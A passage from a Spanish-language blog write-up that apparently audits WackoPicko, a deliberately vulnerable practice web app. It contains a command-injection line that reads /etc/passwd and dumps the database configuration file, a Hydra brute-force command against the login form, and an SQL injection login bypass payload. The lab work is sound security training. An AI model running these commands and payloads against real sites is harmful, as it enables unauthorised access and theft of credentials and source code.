root /etc/passwd | grep -iv '<?php' include/ourdb.php > prueba | echo #

Devolviendo la web el siguiente mensaje:

Donde al acceder a prueba veriamos lo siguiente:

Con esta vulnerabilidad ya podriamos ser capaces de obtener todo el código fuente de la página Web y encontrar las vulnerabilidades como si de una caja blanca se tratara. A pesar de ello vamos a seguir auditando la web como si no hubieramos encontrado esta vulnerabilidad.

Una vez auditado la parte de registrar usuario, se va a proceder a auditar la parte de autenticación del usuario o Login existente en el recurso ("/users/login.php"). Primeramente introducimos un usuario no existente y luego un usuario existente (creado previamente) pero usando una contraseña incorrecta. Vemos que para ambos casos (casos fallidos) la respuesta de la web es la misma.

Este tipo de recursos web de autenticación suele presentar dos posibles vectores de ataque. El primero es mediante fuerza bruta al no tener ningún tipo de bloqueo por multiples intentos fallidos y la otra es por inyección de SQL: 

1. Si tenemos en cuenta que en el registro de usuarios podiamos averigurar que usuarios eran nuevos, lo único que tenemos que hacer es explotar dicha vulnerabilidad e intentar obtener una lista de usuarios validos. Posteriormente con Hydra podriamos intentar sacar una posible contraseña ejecuando una orden como la siguiente (en mi caso solo obtuve los usuarios que había creado yo previamente):
   hydra -L user.list -P /pentest/passwords/john/password.lst -s 80 -f IP_SERVIDOR  http-post-form "/WackoPicko/users/login.php:username=^USER^&password=^PASS^:invalid"
2. La segunda posibilidad es mediante inyección SQL, donde vemos que al introducir en el campo usuario (username) una comilla simple " ' " la web falla mostrando un mensaje de alerta típico de las MYSQL:
   You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'', `salt`)) limit 1' at line 1
   Pues nada con un poco de SQL básico lo que tenemos que hacer es que la comprobación del SELECT siempre sea valido, por ejemplo introduciendo como usuario la condición siempre valida de que 3 es igual a 3, añadiendo al final la almohadilla "#" para omitir la parte derecha de la consulta original, empleando para ello la siguiente orden:
   admin' or 3=3#
   Gracias a esto podemos saltarnos la autenticación de la web, y por tanto, no requiriendo la contraseña.

Con los fallos documetados en esta entrada ya seriamos capaces de saltarnos la autenticación de la Web y ejecutar comandos en el entorno permitiendo entre otras: obtener el código fuente de la página Web, usuario y contraseña de la BBDD, información del sistema, ejecución de comandos con usuario no privilegiado y posibilidad de escalada de privilegios.

En la próxima entrada, y última del reto, veremos los otros fallos que he encontrado dando por finalizado WackoPicko hasta una próxima versión.